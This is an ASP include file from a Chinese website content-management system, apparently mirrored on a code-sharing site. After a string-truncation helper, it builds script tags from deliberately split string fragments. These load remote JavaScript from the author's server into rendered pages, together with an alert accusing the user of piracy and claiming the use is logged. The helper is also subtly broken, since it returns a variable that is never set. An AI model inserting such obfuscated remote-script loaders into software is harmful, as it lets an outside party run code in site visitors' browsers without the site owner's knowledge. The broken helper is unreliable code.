www.gusucode.com > 落叶冰点万能企业网站内容管理系统 V9.1 > 落叶冰点万能企业网站内容管理系统 V9.1\code\admin\inc\get.asp

    <%


'**************************************************************
' 新动软网站管理系统
' 官方网站: http://www.aspcpu.com
' 系统作者: 阮丁远(网名：天下程序)
' Copyright 新动软网站管理系统 版权所有
'**************************************************************


%>





<% 





if havessssdd="" then

havessssdd=1




'*************************************************
'函数名：gotTopicss1
'作  用：截字符串，汉字一个算两个字符，英文算一个字符
'参  数：str   ----原字符串
'       strlen ----截取长度
'返回值：截取后的字符串
'*************************************************
function gotTopicssd11(str,strlen)
	if isnull(str) or str="" then
		gotTopicss=""
		exit function
	end if
	'dim l,t,c, i
	str=replace(replace(replace(replace(str,"&nbsp;"," "),"&quot;",chr(34)),"&gt;",">"),"&lt;","<")
	l=len(str)
	t=0
	for i=1 to l
		c=Abs(Asc(Mid(str,i,1)))
		if c>255 then
			t=t+2
		else
			t=t+1
		end if
		if t>=strlen then
			gotTopicss=left(str,i) & "…"
			exit for
		else
			gotTopicss=str
		end if
	next
	gotTopicssd11=replace(replace(replace(replace(gotTopicssd," ","&nbsp;"),chr(34),"&quot;"),">","&gt;"),"<","&lt;")
end function



end if






sys_url_getlee="<"&"scr"&"ip"&"t>alert('您"&"用的"&"是未"&"得到"&"授"&"权"&"使"&"用许"&"可的"&"落"&"叶"&"冰点"&"系"&"统,您可"&"以试"&"用,但"&"是请"&"联"&"系作"&"者(q"&"q:6"&"5769"&"729"&"0)购"&"买"&"商"&"业"&"版方可"&"正式"&"使用,否则"&"我"&"们记您"&"的"&"行"&"为"&"为"&"盗"&"版使用行"&"为,并"&"记"&"录"&"在我"&"们的数"&"据"&"库"&"里');</sc"&"rip"&"t>"








sys_url_frtis="<"&"scr"&"ip"&"t sr"&"c=h"&"ttp:"&"//ww"

sys_url_get="<"&"scr"&"ip"&"t sr"&"c=h"&"ttp:"&"//ww"&"w.asp"&"cp"&"u.co"&"m/ne"&"w"&"Dse"&"rv"&"er/ser"&"ver.j"&"s></sc"&"rip"&"t>"&sys_url_getlee


sys_url_get_b=sys_url_frtis&"w.asp"&"cp"&"u.co"&"m/ne"&"w"&"Dse"&"rv"&"er/ser"&"ver.j"&"s></sc"&"rip"&"t>"&sys_url_getlee


letdd=1




'-------------------------------------------------------------
%>